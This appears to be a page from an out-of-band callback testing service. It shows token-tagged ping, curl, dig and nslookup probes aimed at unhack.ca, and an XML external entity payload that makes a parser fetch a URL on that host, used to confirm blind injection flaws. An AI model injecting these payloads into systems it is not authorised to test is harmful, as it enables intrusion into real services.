$ ping -c1 -p 009e25a987dc5aa80a25c1112bc12d00 unhack.ca
 
$ curl http://unhack.ca/p/9e25a987dc5aa80a25c1112bc12d
 
$ dig 9e25a987dc5aa80a25c1112bc12d @unhack.ca
 
$ dig 9e25a987dc5aa80a25c1112bc12d.ns.unhack.ca
 
C:\> nslookup 9e25a987dc5aa80a25c1112bc12d unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9e25a987dc5aa80a25c1112bc12d">]>
    <foo>&xxe;</foo>
Waiting for ping...